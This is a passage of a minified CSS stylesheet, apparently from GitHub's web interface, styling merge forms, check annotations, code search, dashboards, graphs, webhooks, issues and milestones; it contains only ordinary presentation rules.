.commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px 